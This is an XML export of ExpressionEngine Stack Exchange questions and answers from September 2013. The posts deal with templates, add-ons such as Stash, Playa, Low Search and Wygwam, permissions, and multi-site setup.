  <row Id="13845" PostTypeId="1" CreationDate="2013-09-17T19:34:51.980" Score="0" ViewCount="33" Body="&lt;p&gt;I have several events created using ExpressionEngine on my website. Currently when someone registers for a training or workshop, I manually respond via email with a welcome letter and a pdf attachment of a reading list and information. Help me on How to add an AutoResponses on my website so that each event has an auto-response that comes from me when someone signs up for that event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;N&lt;/p&gt;&#xA;" OwnerUserId="2072" LastActivityDate="2013-09-17T19:38:05.363" Title="How to add an Auto Responses for the Events created?" Tags="|events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13846" PostTypeId="2" ParentId="13845" CreationDate="2013-09-17T19:38:05.363" Score="1" Body="&lt;p&gt;Have you looked into &lt;a href=&quot;http://devot-ee.com/add-ons/mx-notify-control&quot; rel=&quot;nofollow&quot;&gt;MX Notify&lt;/a&gt;? You can setup all kinds of rules and is really easy to use!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2013-09-17T19:38:05.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13847" PostTypeId="2" ParentId="13824" CreationDate="2013-09-17T20:31:00.163" Score="1" Body="&lt;p&gt;The download tag would not allow you to just show a URL if the order has been paid. You could however wrap the content within a &lt;code&gt;{exp:store:orders}&lt;/code&gt; tag pair then use the conditional &lt;code&gt;{if is_order_paid}&lt;/code&gt; to only show the content if the order has indeed been paid for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I have seen in the past someone create similar functionality by adding a custom field to the content that they wanted to secure that basically had the entry_id of the product that could be purchased. So for example let say your product with an entry_id of 25 was purchased. That product granted access to some content in another channel, in the other channel you would need a field (playa, relationship, text fields or similar) that you entered the value 25 in. Then in your template you would need to write a custom query to search the &lt;code&gt;exp_store_orders&lt;/code&gt; tables for the currently logged in members orders then check the &lt;code&gt;exp_store_order_items&lt;/code&gt; for the corresponding ordered items to see if one of the items the currently logged in member purchased was indeed the entry_id that you specified earlier (in this case 25). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that your best bet would be to extract that query into a little custom plugin instead of having that all at the template level.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-09-17T20:31:00.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13848" PostTypeId="2" ParentId="13842" CreationDate="2013-09-17T21:47:11.497" Score="2" Body="&lt;p&gt;Unfortunately, you can't give that modular of access for categories. I highly recommend using &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-flexible-admin&quot; rel=&quot;nofollow&quot;&gt;Zoo Flexible Admin&lt;/a&gt; add-on to modify the CP's main menu tabs to essentially hide the areas you don't want them to find.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-09-17T21:47:11.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13849" PostTypeId="2" ParentId="13838" CreationDate="2013-09-17T21:57:14.640" Score="1" Body="&lt;p&gt;EE logs errors to the PHP error log. But, you can see errors in EE's responses (i.e., on your web pages) by setting in your config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['debug'] = '1'; // display errors only to the Super Admin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['debug'] = '2'; // display errors to everyone&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-09-17T21:57:14.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13850" PostTypeId="1" AcceptedAnswerId="13853" CreationDate="2013-09-17T22:20:46.920" Score="1" ViewCount="51" Body="&lt;p&gt;I currently have hundreds of entries listed in structure 2 levels deep like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Category&lt;br&gt;&#xA;--Sub Category [X10]&lt;br&gt;&#xA;---Item [x10]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(These are not expression engine categories but structure pages with sub pages)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to move all of the items up one level and remove the sub category so it will look like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Category&lt;br&gt;&#xA;--Item [x100]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to bulk update these entries or will I have to do it manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Colin&lt;/p&gt;&#xA;" OwnerUserId="1515" LastActivityDate="2013-09-17T22:53:06.093" Title="Can I bulk move structure entries?" Tags="|structure|update|bulk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13851" PostTypeId="1" AcceptedAnswerId="13852" CreationDate="2013-09-17T22:25:32.813" Score="1" ViewCount="250" Body="&lt;p&gt;I have a channel named Contact, that will hold basic contact information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The channel fields for this group I have is short list of a few input text fields and one textarea. The template group I have is a template that holds standard content for most pages, also called Page Content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have manually entered the url for the Contact channel, adding contact to end of my site's url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L8r9G.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, when I navigate to this page right, I am getting a 404. I am able to access the page by going to &lt;a href=&quot;http://mysite.com/page-content/contact&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mysite.com/page-content/contact&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I remove the first segment and have EE load the particular channel URL I have specified for this channel?&lt;/p&gt;&#xA;" OwnerUserId="2063" LastActivityDate="2013-09-17T22:39:45.377" Title="How to enable channel URL and not have EE use template group?" Tags="|channel|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13852" PostTypeId="2" ParentId="13851" CreationDate="2013-09-17T22:39:45.377" Score="3" Body="&lt;p&gt;The &lt;strong&gt;Channel URL&lt;/strong&gt; setting is intended to mark the URL of the channel itself, not of just one of its entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/pages/index.html&quot; rel=&quot;nofollow&quot;&gt;Pages Module&lt;/a&gt; for this.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-09-17T22:39:45.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13853" PostTypeId="2" ParentId="13850" CreationDate="2013-09-17T22:53:06.093" Score="1" Body="&lt;p&gt;I'm afraid you will have to do it manually without writing some sort of custom script.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2013-09-17T22:53:06.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13854" PostTypeId="2" ParentId="13821" CreationDate="2013-09-17T23:00:43.177" Score="1" Body="&lt;p&gt;I can't answer for Low Search, but you can use a query to get a list of tag groups:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;i_dont_know_for_low_search&quot;&amp;gt;&#xA;{exp:query sql=&quot;SELECT * FROM exp_tag_groups&quot;}&#xA;    &amp;lt;option value=&quot;{tag_group_id}&quot;&amp;gt;{tag_group_name}&amp;lt;/option&amp;gt;&#xA;{/exp:query}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ignoring Low Search for an instant, if you were using a regular HTML form and POST variables (or a plugin such as Mo'Variables to get POST values of a submitted form), for example, you could then use PHP to create a string of pipe-delimited tags using &lt;code&gt;{exp:tag:tags}&lt;/code&gt; and the &lt;code&gt;tag_group_id&lt;/code&gt; that you selected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, put this string of tags in &lt;code&gt;{exp:tag:entries}&lt;/code&gt; to get a list of entries based on the selected tag group.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="172" LastEditDate="2013-09-18T07:52:56.240" LastActivityDate="2013-09-18T07:52:56.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13855" PostTypeId="1" AcceptedAnswerId="13903" CreationDate="2013-09-18T00:17:36.417" Score="1" ViewCount="193" Body="&lt;p&gt;We recently purchased and installed MSM running EE 2.7.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the sites we want to manage with MSM is already up and running on its own using with EE 2.6. Both sites are on the same server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a easy way to get the structure, templates, etc. out of the existing installation and into MSM?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Figure this is common occurrence, but the docs are a bit confusing in this regard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: We were advised by EE support that at least in terms of the templates the best bet is to save them as as files and then relocate them, but it sounds like on a larger level there is no magic trick here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure on the MySQL side if anyone has any tricks to offer?&lt;/p&gt;&#xA;" OwnerUserId="1654" LastEditorUserId="1654" LastEditDate="2013-09-18T16:59:20.143" LastActivityDate="2013-09-19T06:18:07.983" Title="Importing an existing EE site into MSM" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13856" PostTypeId="2" ParentId="13840" CreationDate="2013-09-18T02:18:47.730" Score="1" Body="&lt;p&gt;I'm a little confused as to what you're trying to accomplish. Are you simply trying to email contents of a form submission? If so, there's no need for you to be using PHP in templates and using the email library. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine has an email module built in, which allows you to email form submissions. You can read about the email module contact form tag in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/email/contact_form.html&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-09-18T02:18:47.730" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13857" PostTypeId="1" CreationDate="2013-09-18T03:41:34.400" Score="0" ViewCount="40" Body="&lt;p&gt;I have schedule entries but they doesn´t publish at the time defined, to publish they need the time and and action on control panel like save a template, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess pseudo cronjob is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ani help?&lt;/p&gt;&#xA;" OwnerUserId="232" LastActivityDate="2014-08-12T12:26:07.093" Title="Program entries does´t publish until control panel action" Tags="|entries|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13858" PostTypeId="2" ParentId="13821" CreationDate="2013-09-18T08:00:42.643" Score="1" Body="&lt;p&gt;I've replied to your email already, but will repeat here for visibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, you want a single dropdown that contains custom fields that in turn relate to tag groups. You want to see if the selected field is not empty. The tricky part is that usually, Low Search fields will target &lt;strong&gt;field values&lt;/strong&gt;, not the fields themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low Search can target specific fields or global entry data. You're looking to see if field A, B or C is not empty (has tags). Normally, that would be accomplished with &lt;code&gt;search:field_a=&quot;not IS_EMPTY&quot;&lt;/code&gt;, &lt;code&gt;search:field_b=&quot;not IS_EMPTY&quot;&lt;/code&gt; etc, which translates into:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;search:field_a&quot; value=&quot;not IS_EMPTY&quot;&amp;gt;&#xA;&amp;lt;input name=&quot;search:field_b&quot; value=&quot;not IS_EMPTY&quot;&amp;gt;&#xA;etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;name&lt;/code&gt; parameter targets the field, the &lt;code&gt;value&lt;/code&gt; parameter targets the value. Same with &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; elements. This means you can't use a single drop down for multiple fields, unless you use javascript to change the name=&quot;&quot; parameter of the select-element. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;not IS_EMPTY&quot; data-field=&quot;search:field_a&quot;&amp;gt;Field A&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add an &lt;code&gt;onchange&lt;/code&gt; event to the &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; to read out the &lt;code&gt;data-field=&quot;&quot;&lt;/code&gt; attribute to change the &lt;code&gt;name=&quot;&quot;&lt;/code&gt; attribute of the &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-09-18T08:00:42.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13859" PostTypeId="1" AcceptedAnswerId="14406" CreationDate="2013-09-18T08:02:59.433" Score="2" ViewCount="123" Body="&lt;p&gt;I'm trying to find out if there's a way to output alternative markup for the {stars_overall_avg} and the {stars}{rating}{/stars} rating tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of the images, I'd like it to output a set of tags I can hang classes from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;Brendan&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2013-10-08T14:54:22.127" Title="Solspace Rating stars alternative output" Tags="|solspace|solspace-rating|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13860" PostTypeId="2" ParentId="13716" CreationDate="2013-09-18T08:05:22.680" Score="1" Body="&lt;p&gt;I was able to solve this problem. it turned out that there was a wrong FastCGI implemented on the server. My host implemented a new version of FastCGI and now the upload with assets works like it should.&lt;/p&gt;&#xA;" OwnerUserId="1313" LastActivityDate="2013-09-18T08:05:22.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13861" PostTypeId="1" AcceptedAnswerId="13863" CreationDate="2013-09-18T09:19:43.187" Score="0" ViewCount="77" Body="&lt;p&gt;When I copy content of article (from other site) and paste it to my field (field type: wygwam), all styles is removed, only plain text remains. I need my article is the same to the article that I copy from other site. May somebody helps me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2075" LastEditorUserId="425" LastEditDate="2013-09-18T11:18:47.907" LastActivityDate="2013-09-18T11:29:35.830" Title="Wygwam 2.6.3 - how to keep full style (image, table) from copying other article to wygwam field" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13862" PostTypeId="1" AcceptedAnswerId="20351" CreationDate="2013-09-18T10:36:59.270" Score="1" ViewCount="111" Body="&lt;p&gt;I have a simple safecracker form to allow a member group change the status of an entry&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker &#xA;channel=&quot;{channel_name}&quot; &#xA;return=&quot;/template/&quot; &#xA;author_only=&quot;no&quot; &#xA;include_jquery=&quot;no&quot; &#xA;safecracker_head=&quot;no&quot; &#xA;datepicker=&quot;no&quot;&#xA;use_live_url=&quot;no&quot;&#xA;entry_id=&quot;{segment_3}&quot;&#xA;id=&quot;apply_status&quot;}&#xA;     {status_menu}&#xA;    &amp;lt;select name=&quot;status&quot; tabindex=&quot;1&quot;&amp;gt;&#xA;        {select_options}&#xA;    &amp;lt;/select&amp;gt;&#xA;{/status_menu}  &#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; tabindex=&quot;2&quot; id=&quot;apply_status&quot;&amp;gt;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This was working fine until I upgraded to ee2.6.1. The issue is if the Entry author is in a different member_group than the editor member_group I am given the &quot;you are not authorised to perform this action&quot; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The editor member_group has permission to:&#xA;Post and edit entries in the channel&#xA;Can edit entries authored by others&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought the problem might be related to this bug in2.6&#xA;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19335&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19335&lt;/a&gt;&#xA;But that seems to be corrected in 2.6.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Super-Admins do not get this error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone replicated this error or is there a setting I'm missing somewhere?&lt;/p&gt;&#xA;" OwnerUserId="302" LastActivityDate="2014-03-16T17:29:31.300" Title="Problems with Safecracker updating Status after upgrade to EE2.6.1" Tags="|safecracker|ee2-upgrades|status|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13863" PostTypeId="2" ParentId="13861" CreationDate="2013-09-18T11:29:35.830" Score="0" Body="&lt;p&gt;By default you need to use paste from Word icon in the toolbar, not the keyboard shortcut Ctrl+V (or Cmd+V).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also edit the toolbar configuration within Wygwam and add an advanced setting for &quot;forcePasteAsPlainText&quot; and set it to No.  You can then use Ctrl+V (or Cmd+V) and your formatting is retained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this will mean that if a user copies from another source, it could contain all the other junk (e.g. copied from Word).&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-09-18T11:29:35.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13864" PostTypeId="1" CreationDate="2013-09-18T12:21:18.693" Score="0" ViewCount="275" Body="&lt;p&gt;Bear with me as I am brand new to expression engine and PHP in general but the headers on these pages are not showing up in IE10...running it in compatibility mode fixes it but this needs to not happen. Id like to attempt to find the problem myself so here is a sample page starting at line 1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {assign_variable:sectionID=&quot;products&quot;}&#xA;{assign_variable:pageID=&quot;index&quot;}&#xA;{assign_variable:entryID=&quot;32&quot;}&#xA;{assign_variable:subnav=&quot;n&quot;}&#xA;&#xA;{assign_variable:sectionTitle=&quot;Products&quot;}&#xA;{assign_variable:pageTitle=&quot;-&quot;}&#xA;&#xA;&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot;&#xA;    &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&amp;gt;&#xA;&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&amp;gt;&#xA;&#xA;&amp;lt;head&amp;gt; &#xA; {embed=&quot;includes/browser-title-tag&quot; pageTitle=&quot;{pageTitle}&quot; sectionTitle=&quot;    {sectionTitle}&quot;}&#xA;&#xA;{exp:weblog:entries weblog=&quot;static_content&quot; entry_id=&quot;32&quot;}&#xA;&amp;lt;meta name=&quot;keywords&quot; content=&quot;{sc_meta_tags}&quot; /&amp;gt;&#xA;&amp;lt;meta name=&quot;description&quot; content=&quot;{sc_meta_description}&quot; /&amp;gt;&#xA;{/exp:weblog:entries}&#xA;&#xA;{embed=&quot;includes/global-head&quot;}&#xA;&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body class=&quot;{sectionID}&quot;&amp;gt;&#xA;{!-- hook to put anything necessary right after the opening body tag --}&#xA;{embed=&quot;includes/global-page-top&quot;}&#xA;&#xA;    {embed=&quot;includes/global-header&quot;}&#xA;&#xA;    {embed=&quot;products/subnav&quot; catID=&quot;0&quot;}&#xA;&#xA;&amp;lt;div id=&quot;centering-content-wrapper&quot;&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;content-wrapper&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;main-content&quot;&amp;gt;&#xA;            {!-- shows plain content --}        &#xA;            {embed='includes/plain-content' entryID=&quot;{entryID}&quot; sectionTitle=&quot;{sectionTitle}&quot; sectionID=&quot;{sectionID}&quot; pageID=&quot;{pageID}&quot; subnav=&quot;{subnav}&quot;  pageTitle=&quot;{pageTitle}&quot; }&#xA;&#xA;            &amp;lt;dl&amp;gt;&#xA;{!-- Commercial Lines --}&#xA;            {exp:weblog:entries weblog=&quot;products&quot; entry_id=&quot;50&quot;}&#xA;                &amp;lt;dt&amp;gt;&amp;lt;a href=&quot;{title_permalink=/products/product/}&quot;&amp;gt;    {title}&amp;lt;/a&amp;gt;&amp;lt;/dt&amp;gt;&#xA;                &amp;lt;dd&amp;gt;{prod_short_desc}&amp;lt;/dd&amp;gt;&#xA;            {/exp:weblog:entries}&#xA;&#xA;{!-- Personal Lines --}&#xA;            {exp:weblog:entries weblog=&quot;products&quot; entry_id=&quot;51&quot;}&#xA;                &amp;lt;dt&amp;gt;&amp;lt;a href=&quot;{title_permalink=/products/product/}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/dt&amp;gt;&#xA;                &amp;lt;dd&amp;gt;{prod_short_desc}&amp;lt;/dd&amp;gt;&#xA;            {/exp:weblog:entries}&#xA;&#xA;{!-- Workers Comp --}&#xA;            {exp:weblog:entries weblog=&quot;products&quot; entry_id=&quot;52&quot;}&#xA;                &amp;lt;dt&amp;gt;&amp;lt;a href=&quot;{title_permalink=/products/product/}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/dt&amp;gt;&#xA;                &amp;lt;dd&amp;gt;{prod_short_desc}&amp;lt;/dd&amp;gt;&#xA;            {/exp:weblog:entries}&#xA;&#xA;{!-- Specialty Programs --}&#xA;            {exp:weblog:entries weblog=&quot;products&quot; entry_id=&quot;53&quot;}&#xA;                &amp;lt;dt&amp;gt;&amp;lt;a href=&quot;{title_permalink=/products/product/}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/dt&amp;gt;&#xA;                &amp;lt;dd&amp;gt;{prod_short_desc}&amp;lt;/dd&amp;gt;&#xA;            {/exp:weblog:entries}&#xA;&#xA;{!-- All Products --}&#xA;            {exp:weblog:entries weblog=&quot;products&quot; entry_id=&quot;66&quot;}&#xA;                &amp;lt;dt&amp;gt;&amp;lt;a href=&quot;       {title_permalink=/products/product/}&quot;&amp;gt;See all our Products&amp;lt;/a&amp;gt;&amp;lt;/dt&amp;gt;&#xA;                &amp;lt;dd&amp;gt;{prod_short_desc}&amp;lt;/dd&amp;gt;&#xA;            {/exp:weblog:entries}&#xA;            &amp;lt;/dl&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt; &amp;lt;!-- /main-content --&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;div id=&quot;secondary-content&quot;&amp;gt;&#xA;&#xA;            {embed='includes/sidebars-static' entryID=&quot;{entryID}&quot;}&#xA;&#xA;        &amp;lt;/div&amp;gt;  &amp;lt;!-- /secondary-content --&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt; &amp;lt;!-- /content-wrapper --&amp;gt;&#xA;&#xA;{!-- copyright, footer links, etc. --}&#xA;{embed=&quot;includes/global-footer&quot;}&#xA;&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- /centering-content-wrapper --&amp;gt;&#xA;&#xA;{!-- hook to put anything necessary right before the body tag, e.g. Google Analytics code --}&#xA;{embed=&quot;includes/global-page-bottom&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So on this page the header not showing up is &quot;Products&quot; and instead is showing up as three x'S vertically in its place. When viewing the page source after the page loads the titles that are not showing are typically in an  tag like in this page's case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe this is EE 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you need any other code!&lt;/p&gt;&#xA;" OwnerUserId="2076" LastEditorUserId="2076" LastEditDate="2013-09-18T14:29:55.907" LastActivityDate="2013-09-18T14:29:55.907" Title="My {title} tags are not showing in IE10" Tags="|templates|title|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13865" PostTypeId="1" AcceptedAnswerId="13909" CreationDate="2013-09-18T12:29:19.270" Score="0" ViewCount="170" Body="&lt;p&gt;I have a stash variable set to the value of a transcribe variable at the top of my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;where_to_buy_translation&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:transcribe:uri path='/where-to-buy'}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Farther down in the template, I have a &lt;code&gt;{exp:playa:parents}&lt;/code&gt; tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents field=&quot;accessory_parent_product&quot; var_prefix=&quot;app&quot; entry_id=&quot;{entry_id}&quot;}&#xA;    &amp;lt;a href='{exp:stash:get name=&quot;where_to_buy_translation&quot;}'&amp;gt;Where to Buy&amp;lt;/a&amp;gt;&#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I display the stash variable &lt;em&gt;before&lt;/em&gt; the playa tag, it outputs correctly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://domain.com/en/where-to-buy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But &lt;em&gt;inside&lt;/em&gt; the playa tag, it displays seemingly random text.  This text is different depending on the channel entry being displayed, but is never the string I'm expecting.  Is the value of that stash variable changing, or am I missing something here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I've tried using both the stash variable and a preload_replace, and while the output is different &lt;em&gt;inside&lt;/em&gt; the playa tag it is always incorrect, whereas &lt;em&gt;before&lt;/em&gt; the playa tag it is correct.&lt;/p&gt;&#xA;" OwnerUserId="2002" LastEditorUserId="2002" LastEditDate="2013-09-18T14:01:49.313" LastActivityDate="2013-09-19T09:08:43.843" Title="Stash variable changes inside of Playa tag" Tags="|playa|stash|transcribe|preload-replace|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13866" PostTypeId="2" ParentId="13865" CreationDate="2013-09-18T13:06:46.437" Score="0" Body="&lt;p&gt;Try adding 'random' to the end of the opening stash tag without the quotes.&#xA;    {exp:stash ... parse_tags=&quot;yes&quot; random}&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-09-18T13:06:46.437" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13867" PostTypeId="2" ParentId="13864" CreationDate="2013-09-18T13:14:19.203" Score="1" Body="&lt;p&gt;assign_variable has been replaced in EE with preload_replace in EE2!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's only assigning the var, it's not calling it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest reading how EE works &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/how_to/building_a_simple_news_site.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/how_to/building_a_simple_news_site.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-09-18T13:14:19.203" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13868" PostTypeId="2" ParentId="13837" CreationDate="2013-09-18T13:19:03.457" Score="1" Body="&lt;p&gt;You need a to create a plugin tag that would essentially be an alias for the action id. You don't need a controller, as the controller would be the EE template, and you just need a tag to execute an arbitrary method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to look into Postmaster. The amount of time you would spend rewriting the functionality would need would be far less than the cost of Postmaster. &lt;a href=&quot;https://objectivehtml.com/postmaster&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/postmaster&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you are just wanting your own solution so you can maintain it, Postmaster definitely does everything you need from a logic perspective. It has CRON based notifications using ACT id's, and even has plugin tags, so really any combination of emails are possible. So you can be sure that everything you are trying to do is relatively easy to accomplish with EE. The nice thing about Postmaster however, if you can send emails with any service, so it will scale to your needs in the future (should they grow and change).&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-09-18T13:19:03.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13869" PostTypeId="1" CreationDate="2013-09-18T13:34:53.017" Score="1" ViewCount="78" Body="&lt;p&gt;Thanks for your help.  We are about to build a solution for a client and we will use the multi-site addon.  These six sites will all be identical except that each will have unique content assets and be on their own domains.  Assuming that all the sites will use the same templates and design, what is involved in adding a new site down the road?  Is it pretty easy for a dev to knock out?  Can the hours be roughed?  &lt;/p&gt;&#xA;" OwnerUserId="2077" LastActivityDate="2013-09-22T00:41:04.590" Title="EE Multi Site Question" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="1" ClosedDate="2013-10-30T18:26:18.800" ContentLicense="CC BY-SA 3.0" />
